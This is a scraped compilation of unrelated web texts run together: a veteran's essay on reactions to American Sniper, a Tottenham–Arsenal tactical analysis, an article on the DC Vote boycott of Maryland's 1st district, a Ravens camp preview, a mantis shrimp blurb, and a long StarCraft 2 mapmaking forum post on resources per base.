On the other hand, the right-wing outcry to Moore’s attention seeking is vaguely embarrassing, usually parroting the “the only reason you have the right to say that is because of the troops” sentiment which, even if true on some level, begins to resemble the “They took ‘er jobs” mantra from a South Park episode.
The best response to Michael Moore I’ve found is to publicly fat-shame him and his childish market of self-loathing Americans. But a more mature reply can be found with the Nick Irving response, “I don’t think he deserves the breath that comes out of me right now.”[3]
In addition to Michael Moore, Canadian Seth Rogan’s flippant tweet also deserves a mention. Comparing American Sniper to the Nazi propaganda film from Inglorious Basterds [4] was tasteless. But he was probably just making fun of the patriotic overtones of the film, not politically comparing the American military to the Nazis. More importantly, he’s a Canadian comedian so I give him a pass. If there’s anything more benign than the ultra-beta-male persona of Seth Rogan, who’s trademark pear-shape figure and soft facial features cry “non-threatening” louder (or softer) than a soy-infused male vegan, I haven’t found it.
There’s a more subtle discussion to be had of the American Sniper and America’s complex reaction to the film. Let’s face it, sniper is a charged word. A sniper is a killing machine. A ninja. That solitary badass that sneaks in the cover of darkness and neutralizes enemy combatants. But as much as Americans fetishize the ninja badassery of special operations snipers, Americans cringe at political incorrectness. A sniper shouldn’t enjoy his job too much.
Therefore, it is imperative that Chris Kyle represent the reluctant the hero, the man dismayed by his job to kill insurgents, but does it anyway to save American lives. This narrative is largely achieved in the film American Sniper. Toss in a dose of “war is hell”, “raise PTSD awareness,” and “bridge the civilian/military divide” sentiment and you’ve got a winner. Clint Eastwood does this masterfully, while the Kyle memoir is much more alienating to the broader American audience.
There’s an undercurrent of criticism to the largely positive response to the film. Lyndy West, in her predictably viral critique of the film had less problems with Eastwood’s interpretation than Kyle’s personal memoir. She writes that he “described killing as ‘fun’, something he ‘loved’; he was unwavering in his belief that everyone he shot was a ‘bad guy’. ‘I hate the damn savages,’ he wrote. ‘I couldn’t give a flying fuck about the Iraqis.’”[5] West begs her audience to see the moral gray, calls Kyle a hate-filled killer, and asks how patriots could treat such a man, a racist man at best, a serial killer at worst, as a hero.
And so we fall on the conundrum of how to properly praise the special operation sniper. On the one hand, Kyle killed a whole bunch of people. To put it bluntly that makes great cinema; I don’t care how much people say the story is rooted in his family back home. Between the special effects, pulse pounding realism, and cool-guy beards, Oakley’s, and big guns, American Sniper makes a slick war movie. Hell, as the film’s distributor puts it: “This is the first ‘real’ superhero movie.”[6]
On the other hand, it’s imperative that while America will hungrily consume tickets to the film, (after all, even Seth Rogan “actually liked American Sniper”[7]) they cannot stomach making a hero out of a man who could have in any way enjoyed his job overseas, or treats death callously. Nowhere in the Eastwood film does Cooper say that he “doesn’t’ give a flying fuck about the Iraqis” or that any of his kills were “fun”. And yet, Americans enjoy a “riveting”[8] film that gives a critic the sensation of “being there – right in the midst of a war zone, where life and death rely on split second decisions.”[9]
But the experience of viewing American Sniper is indeed “fun.” Any review will note the level of tension, suspense, and gritty realism of the film. Several critics have even complained at audiences clapping at the conclusion of a certain sniper shot that goes right through an insurgent’s melon.[10] This is to say, you can enjoy the war porn as long as you do it tastefully. Don’t clap, lest you be judged by a critic.
I liked American Sniper. I liked the war scenes, the hip stylization of Iraq, the sniper-dogfight and phone calls home during firefights. It’s okay to call it an action movie.
I’d end by saying that the response to American Sniper largely mirrors my experience talking to civilians after my own tours as a special operations sniper. People really, really want to hear the sexy stuff. Just don’t be too enthusiastic about it either. I could never break certain narratives without completely alienating my audience. So if you’re a veteran, remember to play the reluctant hero. Civilians love that shit.
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[1] http://www.huffingtonpost.com/2015/01/19/michael-moore-american-sniper_n_6500658.html
[2] http://www.huffingtonpost.com/2015/01/19/michael-moore-american-sniper_n_6500658.html
[3] http://www.theblaze.com/stories/2015/01/19/watch-u-s-army-snipers-telling-response-to-michael-moore-claiming-that-snipers-are-cowards/
[4] http://www.huffingtonpost.com/2015/01/19/seth-rogen-american-sniper_n_6503586.html
[5] http://www.theguardian.com/commentisfree/2015/jan/06/real-american-sniper-hate-filled-killer-why-patriots-calling-hero-chris-kyle
[6] http://www.hollywoodreporter.com/news/box-office-american-sniper-makes-764628
[7] http://www.huffingtonpost.com/2015/01/19/seth-rogen-american-sniper_n_6503586.html
[8] http://www.today.com/popculture/bradley-cooper-takes-aim-american-sniper-trailer-2D80191087
[9]
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A 2” LCD “Heads Up” display shows all sorts of performance stats right on the lens of the goggles. See the times of your runs, your max speed, the total ground you’ve covered and lots more without wiping out in the process. Even upload your data to your computer after your day is done with an included USB cable and free software. (By the way, if it isn’t obvious, the display screen is completely unobtrusive and will not block your view.)Tottenham recorded an important victory over their North London rivals, thanks to two identical goals towards the end of the first half.
Andre Villas-Boas used Gylfi Sigurdsson rather than Lewis Holtby, while Jermain Defoe was fit enough for the bench.
Arsene Wenger used Santi Cazorla on the flank rather than in the middle, which meant Aaron Ramsey played in midfield, and Lukas Podolski was on the bench.
Arsenal actually started strongly and dominated possession for long periods, but as Wenger acknowledged after the game, Spurs were more efficient in the areas that mattered.
Overall pattern
The sides actually used similar systems – a direct winger on the right (Aaron Lennon and Theo Walcott) combined with a playmaker on the left (Sigurdsson and Cazorla), drifting inside to help dominate the centre of the pitch.
This came more naturally to Cazorla, and partly because Arsenal used a ‘proper’ central midfielder as their number ten (whereas Spurs used Gareth Bale, a direct dribbler, in that role), the away side dominated possession in the opening stages. Mikel Arteta sat deep and Wilshere tried to find space between the lines, with support from Aaron Ramsey. Mousa Dembele continued to sit deep alongside Scott Parker, in a much more defensive role than when Sandro was Spurs’ holder.
High lines
The problem with Arsenal’s possession dominance was that it wasn’t particularly valuable in the context of the game. This wasn’t about outnumbering the opposition in the centre of the pitch and asserting dominance through slow, patient build-up play. It was a battle almost entirely about exploiting high defensive lines.
In that respect, the game was similar to the first meeting between Villas-Boas and Wenger – Arsenal’s 5-3 victory over Chelsea at Stamford Bridge last season. Both sides pushed up and squashed the game into a frantic, high-speed clash close to the halfway line. Within the first ten minutes, there were already signs both sides would be able to get runners in behind, and in that respect it also felt like a lot of top-level Eredivisie games, where both sides try to press high from the starts, and are vulnerable to the runs of quick attackers.
Arsenal through-balls
Arsenal did have opportunities to play the ball in beyond Tottenham’s defence, especially as Cazorla came inside and caused an overload in that zone, distracting Parker and leaving Wilshere free between the lines. There were two problems, though – Wilshere’s passes were overhit and went through to Hugo Lloris (who started high up, ready to sweep), while Olivier Giroud lacked the pace to sprint onto balls in behind. Cazorla’s big diagonal switch after ten minutes found Giroud in advance of the defence, but his sluggishness allowed Jan Vertonghen to regain his position and make a fine tackle.
Theo Walcott recognised where the space was, and started to play as a second centre-forward. He made a couple of decent runs that went unspotted, but it’s arguable that his positioning was too ‘obvious’, too permanently central, and in a position where the Tottenham centre-backs could see him easily.
Tottenham defended well, however. Although they started with a high line, they didn’t blindly keep that positioning when Arsenal advanced towards them, and instead dropped off closer to their own goal. Vertonghen’s anticipation skills were invaluable, while Dawson got into good covering positions. Benoit Assou-Ekotto played very narrow and followed Walcott inside, although this opened up his flank to darts forward from Carl Jenkinson, with Sigurdsson also narrow (and not the most natural defender).
Tottenham through-balls
Tottenham were more dangerous in these situations, primarily because Arsenal’s defensive positioning was very poor. The back four continued to play very high up the pitch with little midfield pressure upon the ball – there’d been a couple of warning signs when Bale nearly got in behind in a manner identical to his opener, but his goal actually came because Arsenal were too busy trying to get a player in behind themselves – Walcott was taking up a centre-forward position next to Giroud, which meant the right side was bare. Sigurdsson simply wondered inside and knocked the ball to Bale, who finished nicely.
Also crucial was the run of Adebayor across the front of the defence, turning Arsenal’s players towards their right, as Bale made a run around the other side, to their left. In effectively becoming a second striker, there was a slight similarity to Spurs’ opener at the Emirates in the 5-2 defeat earlier this season – Arsenal unable to cope with 2 v 2 at the back.
Spurs’ second goal was almost identical. Scott Parker’s pass was played from the same position, at the same angle (between Per Mertesacker and Thomas Vermalen) and Lennon’s run was the same as Bale’s (between Vermaelen and Nacho Monreal). See the similarity in the below graphics.
Again, the finish was smooth, again the run was perfectly timed – but Spurs must have been surprised at how easily they created one-on-ones against Wojciech Szczesny. The problem was so obvious it barely needs explaining – the defence was so high up the pitch, with little pressure on the ball. There were other problems: the lack of communication between players when opponents made diagonal runs, and Vermaelen’s individual positioning seemed particularly strange, but the primary issue was Arsenal simply inviting through-balls slid between their defenders.
Second half subs
Predictably, neither side defended with a such an aggressive defence line after half-time – both sat deeper, with Arsenal dominating possession and Spurs retreating into a more defensive shape, getting men behind the ball. Arsenal’s early goal, from Per Mertesacker’s header, made things interesting.
Wenger made two attacking substitutions – after an hour he replaced Jenkinson with Tomas Rosicky, moving Aaron Ramsey to right-back for the second consecutive weekend. It was surprising Bale didn’t go to the left at this point, especially as Ramsey was Arsenal’s only player on a booking.
Rosicky buzzed around in midfield and did OK, but Ramsey’s advanced positioning could have cost Arsenal – he left a big gap that was exploited by Gylfi Sigurdsson on the break – Sigurdsson could have made it 3-1, but underhit his square ball to Bale. That was after Villas-Boas had replaced Adebayor with Defoe – which worked well, as Defoe was more direct on the ball (he would have relished playing against Arsenal’s high line in the first half, too).
Wenger then brought on Lukas Podolski for Mikel Arteta, and Arsenal ended with an extremely attack-minded side – Wilshere and Rosicky in the middle, with Podolski, Cazorla and Walcott supporting Giroud – whose aerial threat became more important once Spurs sat deep. He actually won the vast majority of high balls, but often flicked it towards a Spurs player. Wenger ended up moving Mertesacker forward in the final minutes to become an emergency centre-forward.
The last 15 minutes were more like Arsenal’s games against Harry Redknapp-era Spurs – Arsenal dominating the ball, Spurs sitting deep and narrow before trying to play on the counter-attack.
Conclusion
The game was effectively won before half-time. In an amazingly open match with two staggeringly high defensive lines, Spurs were superior in three areas. First, the defence adjusted their position and dropped deeper. Second, they put more pressure on the ball and stayed compact, to deny Arsenal too many opportunities to play through-balls. Third, their timing of passes and runs was perfect for the two goals.
The third point is, of course, related to the first two – Arsenal’s made it simple for Spurs, who didn’t need to play their best football to win.
Related articles on Zonal Marking:Maryland's 1st district
Andy Harris
The Boycott of Maryland's 1st District (also known as the Boycott of Ocean City and Boycott of the Eastern Shore) is a boycott of the 1st Congressional District of Maryland in response to 2014 congressional legislation that interfered with the ability of the District of Columbia to pass its own laws.[1] The boycott was prompted by an appropriation amendment by Maryland Representative Andy Harris that would nullify DC laws on marijuana decriminalization.[2][3]
Background [ edit ]
In March 2014, the D.C. Council voted overwhelmingly to eliminate jail time for possession of marijuana, calling it necessary to combat deep racial disparities in drug arrests in the city.[4] In a January 2014 poll by The Washington Post, roughly eight in 10 city residents supported legalizing or decriminalizing marijuana.[4]
On June 25, 2014, House Republicans blocked funding for the D.C. law.[4] The effort to keep the District from loosening its marijuana laws was led by Andy Harris, a Republican in Congress representing Maryland's 1st District which includes the Eastern Shore and Ocean City.[4][5] The Harris amendment bans the D.C. government from spending any funds on efforts to lessen penalties for Schedule I federal drug crimes.[1] Once enacted, the measure will interfere with DC's decriminalization law and a possible legalization ballot initiative.[2][3]
Appropriations riders are a strategy frequently used to block unfavorable local legislation. It took a decade for medical marijuana backers to remove a rider preventing the District from moving forward with the system.[6] DC currently lacks voting representation in Congress and all locally passed laws must be sent to Congress for review and approval.[7]
In February 2015, D.C. Mayor Muriel Bowser implemented the popular legislation legalizing possession of marijuana. Harris said if one of his fellow Republicans captures the White House in 2016, he hopes they revisit Bowser's actions and prosecute her.[8]
Opposition to Harris [ edit ]
The interference by Harris was viewed as a defeat for District of Columbia home rule, and the ability of its Democratic mayor and the DC council to self-govern.[4][1] Harris explained his initiative by saying "Our constitution is very specific on how the federal enclave of the District of Columbia is to be treated".[9] Some speculated that Harris' interest in a leadership position in Congress prompted his amendment.[10]
It was uncertain if the legislation would force the city to shut down its entire medical marijuana program, which started in 2013.[4] In April 2014, Maryland became the latest of three states that have passed similar laws eliminating jail time for marijuana possession when Martin O'Malley signed a bill to move possession of less than 10 grams of marijuana from a criminal to a civil offense.[11] Harris argued that the D.C. law was "bad policy" assessing a fine of $25—a fraction of the $100 fine in Maryland.
On July 2, the ACLU and NAACP were among 41 other local and national organizations in delivering letters to all members of Congress urging them to oppose policy riders that would undermine the District's local autonomy. The groups, collectively representing millions of Americans, pledged a united front in opposing measures that they say "target" the district.[12]
Boycott planning and announcement [ edit ]
The nonprofit group D.C. Vote called for an all-out boycott of vacation spots in the 1st Congressional District, saying Harris "acted in wanton disregard" of the views of D.C. residents.[13][3][14]
Before announcing the boycott, D.C. Vote said it had contacted local officials in the 1st district, informing them that the call for a boycott was not a reflection on them as businesses. It was emphasized that a similar attack on their local jurisdictions' laws would never be tolerated.[13][15][14] DC Vote Director Kimberly Perry explained that while District residents may not have a vote in Congress, they can vote with their wallets.[16] Alternate vacation spots in Delaware, Virginia and even Maryland were suggested instead of the Eastern Shore.[15]
Mayor Vincent Gray encouraged the boycott, saying "I don't think we should support someone who doesn't support us, who doesn't support democracy, period".[2][17] Gray also suggested that those D.C. residents who do visit Harris's district might picket his office.[13] In response, Harris attacked the mayor for his loss in the primary election.[18]
Organizers identified "#BoycottMD1D" as their Twitter hashtag.[15]
Reaction by politicians and businesses [ edit ]
Harris rebuffed efforts by DC Councilmember David Catania to meet with him about the boycott.[19]
Businesses in the Eastern Shore said that they hoped that other measures could be pursued besides a boycott of their businesses and said they welcome visitors of all political affiliations.[13]
Harris said city residents "know better" than to boycott his district's beauty spots. "Spending the weekend on the beautiful, family friendly Eastern Shore is more important than increasing drug use by D.C. teenagers."[13]
Other forms of protest [ edit ]
An initiative was launched encouraging businesses to ban Maryland Rep. Andy Harris and his congressional staff from their establishments.[20] At least one bike shop posted a picture of Harris with the words "Not Welcome".[21]
In 2015, protest efforts were re-energized following a segment on HBO's Last Week Tonight with John Oliver. Organizers arranged buses to the Eastern Shore to educate tourists and protest Washingtonians lack of voting rights, encouraging more calls to Harris' office.[22]Veterans report to Ravens training camp Wednesday, with the first full-squad practice Thursday morning. Here are five questions to ask as the Ravens try to bounce back from a 5-11 season.
1. Does the influx of new talent make the Ravens playoff contenders again?
The Ravens were more aggressive early in free agency than usual, signing safety Eric Weddle, wide receiver Mike Wallace, and tight end Ben Watson. Then they loaded up on young talent with 11 draft picks, including left tackle Ronnie Stanley who is expected to start, linebacker Kamalei Correa who should see significant playing time, and running back Kenneth Dixon who has intriguing potential. The Ravens are a better football team, but I still question if they’re good enough to make the playoffs. In order to make the postseason, the Ravens simply must get significant contributions from a host of new players.
2. Is quarterback Joe Flacco ready to have a stellar season coming off knee surgery?
It’s a great sign that Flacco is ready for camp. His reps may be monitored early in camp and his preseason playing time figures to be limited. But when the regular season begins, the Ravens will need Flacco to have a solid season, maybe his best for the Ravens to make the playoffs. If Flacco has any lingering doubt about how his knee will hold up, those doubts need to be erased between now and Week 1.
3. How will key players on PUP perform once they return?
Four players currently on the PUP list are expected to play crucial roles – wide receivers Steve Smith Sr. and Breshad Perriman, and linebackers Terrell Suggs and Elvis Dumervil. Smith is 37 years old, Suggs is 33, Dumervil is 32, and Perriman has yet to play an NFL down due to knee injuries. The Ravens’ playoff prospects are better if they can squeeze another quality year out of their injured vets, and if Perriman finally plays.
4. Who starts at inside linebacker next to C. J. Mosley?
That could be the biggest question mark in the starting lineup. The Ravens are deep at running back and tight end, so who starts doesn’t matter as much. But the release of veteran Daryl Smith, now with the Buccaneers, leaves a void at inside linebacker. Zach Orr has the inside track to start, Arthur Brown is getting one more chance, and Correa could be moved inside. But if none of those players rise up, general manager Ozzie Newsome could be forced to sign a veteran.
5. How will the new-look left side of the offensive line gel?
Stanley is a rookie left tackle. They’ll be a new starter at left guard, as John Urschel, Ryan Jensen, and perhaps rookie Alex Lewis battle to replace Kelechi Osemele, who was lost to the Raiders in free agency. It’s not surprising the Ravens felt they needed to sign veteran left tackle Jake Long as insurance. To protect Flacco and run the ball effectively, the new-look left side of the offensive line must play well.Imagine distinguishing a dozen primary colors, seeing ultraviolet and infrared, and perceiving six different types of polarized light. For the giant Mantis shrimp of Australia's Great Barrier Reef, the world is colorful beyond human imagination. Reuters reports a new study by Swiss and Australian marine biologists, suggesting that Mantis shrimps need to detect minute changes in color and polarization to detect nearly invisible prey in murky seawater. They probably also use color to send sexual signals during mating. The scientific report is available online at the Public Library of Science Journal.
Photo by CybersamX The typical mantis shrimp has emerald green eyes and a pale green or orange body, with bright yellow outlines.
FUN FACTS:
Mantis shrimp have the fastest kick in the animal kingdom: 75 feet per second. They can punch a hole through aquarium glass.
Mantis shrimp are named for their resemblance to the praying mantis insect.
Their coloration varies to match their habitats. The golden mantis is green when it dwells in sea grasses but tan in sandy areas. The crevice-dwelling rock mantis varies from dark green to black.
Mantis shrimp tend to be active hunters at night.
Photo by sandstep
Here are some color palettes inspired by the Mantis shrimps:
Photo by Jelantique
Here's some color inspiration from the Mantis shrimps:
Cover by Raymond.banner by Shiroiusagi
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*CHANGED April 5*
To play FRB maps, in-game channel: FRB
On Battle.net [US/NA]: http://us.battle.net/sc2/en/forum/topic/4175832510 On Battle.net [EU]: http://eu.battle.net/sc2/en/forum/topic/3484281522 On Reddit: http://www.reddit.com/r/starcraft/comments/qzp7d/breadth_of_gameplay_in_sc2_a_mapmakers/ ---OFFICIAL POOL- 6m FRB Shakuras Plateau- 6m FRB Tal'Darim Altar
by Barrin
by Barrin
by IronManSC
(tag coming?)
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April 6: Devolution and Cross Point now with Peepmode!
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Follow-up thread
+ Show
+
(in no particular order)
- Create website as base of operations (and place for donations so I can actually keep doing this stuff)
- Barrin to cast FRB games, youtube.
- Standardize the "FRB" tag: switch in-game channel, official pool tag
- Map of the Week project (Map of the Week map to preserve popularity)
- Organize and run Weekly/Monthly competition to fuel and popularize Map of the Week (and renew official map pool)
- Create a thread: Introduction to FRB Mapmaking (for mapmakers)
- Create a thread: Official Map Pool
- Create a thread: Why 6m1hyg instead of other variations (pro's and cons). <-- maybe not do this one
- Make 2v2/3v3/4v4 maps.
- Continue making 1v1 maps.
- Create in-game loading banner template for maps (with FRB community information)
- Keep perfecting/editing this OP.
- Create short version of OP for lay man / easy to translate to korean
- Pitch to Peepmode / IcculusLizard (in progress)
- Get Day[9] to do a Daily (funday monday?) on it
- Get TotalBiscuit to do a clip on it.
- Get tournaments to do something with it (Playhem?)
- Organize show matches
- Organize small tournaments
- Ensure the Official FRB Map Pool is of good quality.
- Organize & lead an FRB mapmaking team
- Organize & lead an FRB clan?
- Advertise more
- basic audio intro to FRB
- 1-2 paragraphs about each map
- Don't go insane
April 3: Inside the Game E37 discussion on FRB (starts @ 32:00).April 1: Added To-Do list below.April 1:(April Fools): [M] MRB Map Pool March 31: Map Pool Updated: added 6m Braxis Delta, removed Entombed ValleyMarch 30: Tal'Darim updated: Mains now on high ground. Rocks blocking the third removed.March 30: Dedicated EU host for official FRB map pool secured (thanks Destructicon <3), will be up in a few days.March 29: 6m1hyg with 2000m/5000g is standard until after last games of FRB Grand Tournament.March 28: Mappers Episode 2: Special Guest Barrin March 27: [Interview] Barrin - SC2 Map Making Theorist March 26: FRB Replay Thread! updateMarch 24: Quotes Updated March 21: BLIZZARD EMPLOYEE talks about it in email with IronManSC! (creator of Ohana -TO-DO LIST: + Show Spoiler +
Breadth of Gameplay in SC2
A mapmakers perspective on improving SC2: "Fewer Resources per Base"
by Barrin
Are you (getting) tired/bored of SC2? This post is for you.
[ red brackets ] = If skimming (I expect most of you will at first), the text inside red brackets is of particular importance.
I have spent a lot of time making this understandable by all and simultaneously as complete as possible.
I have done the best I can, I hope you will forgive any imperfections and verbosity!
WARNING : I will be drawing comparisons between SC2 and BW. Please understand they are both great games and they both have desirable qualities the other lacks. If you try to turn this into a SC2 vs. BW debate, I will ban you myself. After what it's done for (western) ESPORTS there is no doubting that SC2 is a great game, I only want to make it better.
Let me be absolutely clear. I want "SC2 -> Better", not "SC2 -> BW".
"Imagination is more important than knowledge..." - Albert Einstein
INTRODUCTION / PREFACE
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There is a certain.. spectrum of breadth of gameplay, and every RTS game has it's tendencies on this spectrum. By breadth I mean: how often should you be expanding? At what point do you no longer need to expand because you have all the resources you want or need to maintain a supply cap?When it is more desirable to expand more rapidly and continue expanding longer, there is more opportunity for smaller engagements to occur over a larger area of the map more often. Expanding makes you more vulnerable, and vulnerability means action. However, if you were to do the opposite and concentrate more of the focus into a smaller area (by say, putting more resources in each base) you start leaning towards the "Deathball" [read: simple] side of the breadth spectrum.Due to a relatively high maximum resource collection rate per mineral field and therefore base (among other things), SC2 is mathematically predisposed to the "Deathball" side of the spectrum as opposed to "smaller, more frequent, more spread out" engagements. Even though (like any good RTS game) SC2 is incredibly complex, this predisposition results in a relative lack of complexity, lack of map variety, lowered skill ceiling, improper risk vs. reward when microing individual units resulting in more emphasis on macro compared to micro - which in combination with other factors is self-perpetuating. Reversing this by reducing the maximum resource collection rate per base also positively enhances a host of other elements.
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GETTING STARTED / HISTORY
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On July 2010 by figq, thread OP of [D] SC2 - fewer bases, less macro - than BW?
"...either increase the 200/200 food cap, so that it makes sense to want more bases, or reduce the resources per base, or something similar - because as of now it favors fewer bases, which makes the game variety lower." "...either increase the 200/200 food cap, so that it makes sense to want more bases, or, or something similar - because as of now it favors fewer bases, which makes the game variety lower."
On September 2011 by Kicksave_Roy in Anyone else think SC2 is too non-confrontational? (gamespot.com)
"There needs to be fewer resources per base so that players need to expand and harass more constantly..." "There needs to beso that players need to expand and harass more constantly..."
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LaLuSh on: "Analysis of Macro" [Thread OP]
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It seems like we can make the claim that build orders in SC2 will reach their final and most developed one base state quicker than in Broodwar. We can probably also say that after ~22 workers mining minerals in an 1base vs 1base situation, there is no differentiating between a cheese and a “normal” build until an expansion is up and operational. Does this imply that expanding is more dangerous in SC2 as opposed to Broodwar?
I don’t really know, that might be stretching it a bit too far; though there is certainly less of an effect of expanding before you are beginning to supersaturate your first base. Also: supersaturating your first base against someone who cuts worker production will provide you with no other real benefit than having workers to maynard. Using this logic one could claim that expanding is in fact more dangerous. If the races reach their fully saturated states quicker in SC2 as opposed to Broodwar, and if a cut in worker production after a certain point doesn’t reflect on your income at all, then a continued worker production will only really mean you are cutting your army size by the amount you invest in workers and in an expansion.
The data can probably be interpreted in a variety of ways. But as I’m the author of this thread I get to showcase mine: Due to the lower max saturation cap SC2 builds will tend to conform into one standard or one mould much quicker than Broodwar builds. They will also tend to be less punished when cutting workers in favor of “cheesing”. Merely defending a cheese won’t win games, but rather getting the superior unit composition and securing the expansion without dying will win you the game. Of course this interpretation is somewhat exaggerated and SC2 is a lot more dynamic than I will have it sound, but I still think it is somewhat evident that Broodwar builds develop and evolve forth in more distinct stages where scouting information has a chance to play a bigger role in the game. A Broodwar build will simply take longer to reach its final and most developed one base state (which pretty much will look identical to and support as many production buildings as their SC2 counterparts), and go through more intermediary stages before getting there. On top of these facts, there is a slight mineral surplus in the cheesy stages of a game in SC2 compared to Broodwar.
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I believe that analyzing the economic system of Starcraft 2 might provide a better explanation model to these phenomena than would searching for the answer in unit and build/research time tweaks.
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It is safe to say that players in SC2 are not as likely to venture out into taking third bases before starting to supersaturate their two already existing bases.
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The game is balanced around small maps – not large maps. Units are primarily balanced to withstand the effects of mineral surplus on said maps, not to remain balanced throughout all stages of a game. Blizzard’s first priority is to prevent shit from dying instantly to other shit. Second comes worrying about whether these changes prove to provide dynamic mid- and lategames (and it’s here-in that the real challenge lies).
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If I’ve learned anything from observing Blizzard the past year, it’s that it is largely pointless to suggest anything that would require alterations to the game engine itself. Whether it be about moving shot or built-in delay for firing projectiles (tank AI). If it can’t be achieved through the map editor, it likely won’t be “fixed” in the way you imagined. Thus I’m not even going to attempt to discuss changing worker AI.
If the future of SC2 is to be played out on GSL-sized maps, one proposition would be increasing the supply cap of the game so you can support ~110 workers and about 5 bases. One of the greatest proponents of an increased supply has long been day[9] himself. My main argument for an increased cap is that the strategies in the game likely will become streamlined and predictable very quickly if kept back by a 3 base ceiling.
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I think Blizzard have to make a decision soon about whether they want to balance the game for GSL-sized maps or for their own tiny sized maps.
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- LaLuSh on: "Analysis of Macro" [Post 2]
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Increasing the amount of bases you can sustain and thus increasing strategic maneuverability in the game was the point I was trying to get at.
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I'm only really trying to convey the idea that a 3base ceiling is restricting and conforming gameplay
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The case with increasing the number of mineral patches on a base will only serve to make expanding even less effective than it already is
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- LaLuSh on: "Heart of the Swarm: The Pro's Opinions" [Post 1]
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The difference in worker saturation mechanics has a significant impact in the way SC2 needs to be balanced when compared to BW.
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there is clearly a much finer balance there in SC2 than in BW. Whenever the pressure lets up and the games so to say "stabilize" are usually the points when the games stop appearing dynamic to viewers. They then enter the predictable deathball formula, and viewers subsequently start to whine in the manner people have been in this thread.
In my view SC2 is partly predisposed to this because of how worker saturation works. Mining rates even out and hit their theoretical and practical ceilings much faster in SC2. As such the game, by necessity, needs to be balanced in a way where imbalanced ("fun spellcasters") units no longer can have a place in it. A unit that may have functioned well in BW, like the defiler, would be impossible to implement in SC2. In SC2, because of the way mining rates equalize and because of the faster tempo of games due to macro mechanics, the races and their respective units need to be balanced in a way where they perform roughly equal. As such insane unit concepts like the defiler can't exist.
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I understand that this is really very complicated. My suggestion looks fine on the surface... but it's when you really get all of the details and look at it from the big picture - all pieces in-tact (which I intend to show) - that my suggestion goes from being simply good to being great. And BTW, my suggestion does not require a patch from Blizzard or changing anything in the trigger or data editors for every map.But let's take this slowly; if you wish to better understand what might be wrong with SC2 then I promise this is more than worth your time.Let me say once again that I love SC2, it is a great game, and I only want to make it better. But the idea that some key aspects of SC2's gameplay does not live up to it's predecessor is not new at all. For many, there is a certain "X-Factor" missing from SC2. The truth is there'sof factors, and no one person has really come close to identifying most of them yet.It was felt by almost every serious player moving from BW to SC2... and vice versa, which is more common than you'd think:In fact there was an entire era so to speak of TL threads with OP's trying to identify pieces that were missing:There are people among them who are on the same track I am (and for the record I came to my own understanding of thisseeing what they wrote). These first two mention my suggestion directly:If he doesn't mind me saying so, there is one person who I feel is the true predecessor to what I'm doing here:And LaLuSh' thread on macro spawned many more people who thought the same as me: + Show Spoiler + IMO, these guys deserve some mad props; any of their credit is theirs alone. But despite them it remains true that nobody has explained the problem along with it's solution and objectively listed the pro's and con's of the solution (until now). Ithink this is something we need to revisit; and in such detail as to warrant the length of this OP.
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Expand / Supply
Tech / Upgrade
Production / Army
To put it in a (perhaps overly) simplistic way, there is a certain equilibrium - a set of choices - on what you can do with a given set of worker mining time / resources. That equilibrium is as followsThis idea goes back to the days before SC1 was even released. In a general sense, you should (A) want to do all three of these things continuously but (B) cannot do all three of them optimally, simultaneously, and continuously. Basically the "3-base ceiling" that LaLuSh refers to is essentially saying that you simply do not need or want to keep expanding past *only* 3bases. You can get all the tech/upgrade and production/army you need off of so little, which breaks this equilibrium down to it's core and almost makes it almost irrelevant as if it doesn't even apply. This equilibrium, I believe, has been fundamentally broken (on purpose) by Blizzard.
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TERRIBLE, TERRIBLE DAMAGE
But wait a second,would they want to disrupt this equilibrium?Early on in SC2, "Terrible, Terrible Damage" was sort-of Blizzard's SC2 game design philosophy mantra. Well, who doesn't love seeing huge pools of zerglng blood, massive explosions across the battlefield, with lasers flying everywhere? They wanted to sell their product.But. Terrible, Terrible Damage is worked into the system on quite a tangible level. It's deeply seeded from the ground up; it's actually rather invisible in a sense, though almost hidden in plain sight. But it was felt by almost everyone moving from BW to SC2 (and vice versa).
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Now don't get me wrong: I don't straight up dislike Terrible, Terrible Damage. What I dislike is how the way they used it fundamentally reduces the complexity of SC in a profound way. To me and many others (whether they're aware of it or not), it is less intellectually satisfying. The replayability/longevity of SC2 is severely hampered by it for us. I really don't want to offend anyone here, but quite literally Blizzard is catering to casual players at the expense of competitive/intellectual/hardcore players; essentially for the sake of making money and not for love of the game. Personally, I am really not cool with this.
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MY SUGGESTION
It should increase the need to expand throughout the game.
Each base should be capable of producing less army.
This topic even deserves a thread by itself - and I will get back to it. For now I promise thatSo basically considering everything so far (and more), the change needs to fit two criteria:There is actually more than one way to do this. Ideally we only have to change one factor, and for many various reasons I believe there is only one that makes the most sense.What I am suggesting is
Less Resources per Base
(particularly minerals in terms of # of fields).
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Well that's where it starts anyway. If you were to take most maps that are currently used and start (even methodically) deleting resources from them, it probably wouldn't make for a good map and probably wouldn't be what I'm aiming for.
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I have to use words like "more" and "less" to help describe what they are, but that makes it inherently relative based on your perspective. But from the perspective of someone who would make a map like Crevasse, Terminus, Calm Before the Storm, or Metropolis (i.e. maps with super easy 3 or more bases) AND with less resources per base... More mid/late game bases that are close to the main/nat/third, with the vulnerability of the initial bases (especially the third) increasing, and the general openness of the least open areas becoming even less open.
m = mineral field
hym = high yield mineral field
g = gas geyser
hyg = high yield gas geyser
It requires an entire shift of what has become normal in mapmaking theory. Ideal distances, sizing, proportions, overall vulnerabilities, etc. are all going to change. + Show Spoiler +
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Blizzard has literally dictated that maps in the ladder pool should only have bases with 8m2g or 6hym2g, and it has (almost) been that way since the start. And what maps did we start out with? What maps was 8m2g designed for?Let's look at these 13 of the earliest maps made by blizzard and used in the ladder pool at some point:
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All of these maps have one thing in common: expanding is particularly hard at some point. Often as early as the natural, and the third if not. Whether it's short rush distances, very vulnerable bases, far away bases, very few bases, or some combination of these.. expanding is hard, and you have a bunch of resources for each base. This means three main things (1) if you do choose to expand too rapidly there is sure to be Terrible, Terrible Damage (2) more minerals per base simply means you don't need to expand as often anyway and (3) if you do manage to hold an expansion you are rewarded for it even more.But of course the maps got bigger and bigger from the beta (note that most maps in BW are essentially bigger than most SC2 maps). In fact we sort of reached a cap (Tal'Darim) and they actually got a little smaller again. They're getting smaller again because it's very difficult to fill out the large space properly... (in a very general sense - with the context of what is possible) players don't need to expand so far around the map which makes them focus on only a few parts of it. This profoundly reduces the complexity of the maps.
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– suburbs with no central meeting place, prioritizing the car and the condo tower, passing restrictive zoning bylaws – has made the problem worse, he says in an interview. "If we're concerned about happiness, then social disconnection in Canadian cities is an acute problem."
